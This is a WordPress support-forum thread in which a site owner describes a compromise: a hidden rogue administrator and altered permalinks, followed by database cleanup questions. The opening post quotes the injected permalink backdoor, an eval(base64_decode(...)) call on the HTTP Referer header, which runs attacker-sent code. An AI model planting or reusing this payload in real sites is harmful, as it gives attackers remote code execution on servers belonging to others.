Admin missing from posts/ page author menu (8 posts)

Hello,
I am relatively new to WP, installing what was most current version in late March and updated during summer to 2.8.1 or 2.8.2 . Late last week I logged into the admin panel to enter a new post and I noticed this string of characters appearing in the permalinks.
/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

Thankfully I didn't post and contacted my host. While waiting for a reply I discovered a new administrator had appeared. When I tried to click on the new admin, the entire entry disappeared. So I logged into my control panel and deleted this user from the database. I also noticed another user in the database who had a "user activation key" like I do and deleted that user.

Then I checked the permalinks settings and discovered the option had been changed to a custom setting that included the above string of malicious code. I deleted the code string and reset the permalinks to my original choice.

My host replied that things had been checked from their server side and all looked well, and then pointed me to an article on a site, indicating this incident was likely related to the recently discovered WP security issue.

Yes, lesson learned about using the most recent WP version because I upgraded either before deleting the unknown admin/user or afterwards.

Everything did indeed seem fine when I made 2 new posts. Then I realized the posts were attributed to another user with admin status that I did add. I checked the "post author" drop down menu and my name does not appear in it. Neither does my name appear in the "page author" drop down menu though I swore it did yesterday and this morning. I suppose if it did then and not now that my site is still open to the hacker.

Your help on how to fix this as well as general advice will be welcomed by this newbie.

Thanks, Tom. I've read this a couple times before posting and couldn't find any info on how to fix this issue unless the only solution is to upload a completely fresh copy of WP after making copies, etc.

Hello, Michael,
Thanks for pointing me to that information. Ironically, before your post I had done part of the steps but not logged in as the new user with admin status. What seemed odd was the new user wasn't showing up as an author either so I was hesitant to try the second part of those instructions.

What I did find looking through my WP database late last night in the wp_usermeta was another user whse first name was listed as "..." with something like this <div id="user_ visible after it.

Then I browsed through something (I'm almost a total newb here) and found this code

which confirmed my suspicion. After deleting what I think is everything attributed to that user, I found another user listed further on. It was the same name that appeared a few days back as another administrator, but the entry would disappear when hovering my mouse over it. At the time I deleted that person from wp_users thinking it was fixed.

After deleting "Clifford Leclaire" this second time, the new user/ admin that I added does now appear as an author. However, I still don't under the original admin.

There are two rows in the wp_usermeta that read like this and do not seem to be affixed to either of my two admin IDs or the person I did add. Do you have any advice about what to with them? Leave as is or delete them?